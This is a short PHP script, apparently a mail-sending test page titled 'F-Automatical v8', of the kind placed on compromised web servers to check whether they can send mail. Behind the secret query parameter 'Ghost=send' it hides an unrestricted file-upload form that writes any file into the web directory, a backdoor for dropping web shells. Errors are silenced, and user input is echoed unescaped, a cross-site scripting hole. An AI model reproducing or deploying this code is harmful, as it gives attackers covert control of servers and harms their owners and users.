1<?php
2
3error_reporting(0);
4
5if($_GET['Ghost'] == 'send'){
6 if (isset($_FILES["userfile"]) ) {
7 if(move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES['userfile']['name'])){
8 echo " <p align='center'>UPloaded Successfully.</p>";
9 }
10 }
11 die("
12 <form name='uplform' method='post' action='?Ghost=send'
13 enctype='multipart/form-data'>
14 <p align='center'>
15 <input type='file' name='userfile'>
16 <input type='submit'>
17 </p>
18 ");
19}
20
21echo '<b>F-Automatical v8 [Sending test].<b><br><br><form method="post">
22<input type="text" placeholder="email" name="email" value="'.$_POST['email'].'">
23<input type="text" placeholder="ID" name="orderid" value="'.$_POST['orderid'].'">
24<input type="submit" value="Send">
25</form>
26<br>';
27
28if (!empty($_POST['email'])) {
29 if (!empty($_POST['email']) && trim($_POST['orderid']) != '') {
30 $rand = trim($_POST['orderid']);
31 } else {
32 $rand = rand();
33 }
34 mail(trim($_POST['email']),$_SERVER['HTTP_HOST']." - Sending is Working Fine. [Result] ID: (".$rand.")","F-Automatical v8 [Sending test].");
35 echo '<b>Send an report to ['.$_POST['email'].'] - ID: '.$rand.'</b>';
36 echo '<!-- <id>'.$rand.'</id> -->';
37}
38
39?>
40